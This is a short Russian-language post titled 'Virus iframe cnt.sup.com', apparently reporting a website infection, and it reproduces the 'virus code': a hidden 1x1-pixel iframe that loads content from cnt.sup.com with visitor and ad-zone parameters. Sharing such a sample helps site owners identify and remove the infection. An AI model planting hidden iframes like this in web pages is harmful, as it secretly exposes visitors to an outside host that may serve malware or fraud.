Вирус iframe cnt.sup.com

Код вируса:

<iframe name="sup_ad" width="1px" height="1px" frameborder="no" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no" style="padding: 0; margin: 0; display: block; z-index: 0" src="http://cnt.sup.com/adv?srv=23&amp;vid=' + vid + '&amp;r=' + r + '&amp;adzone=cnt_champ_main"></iframe>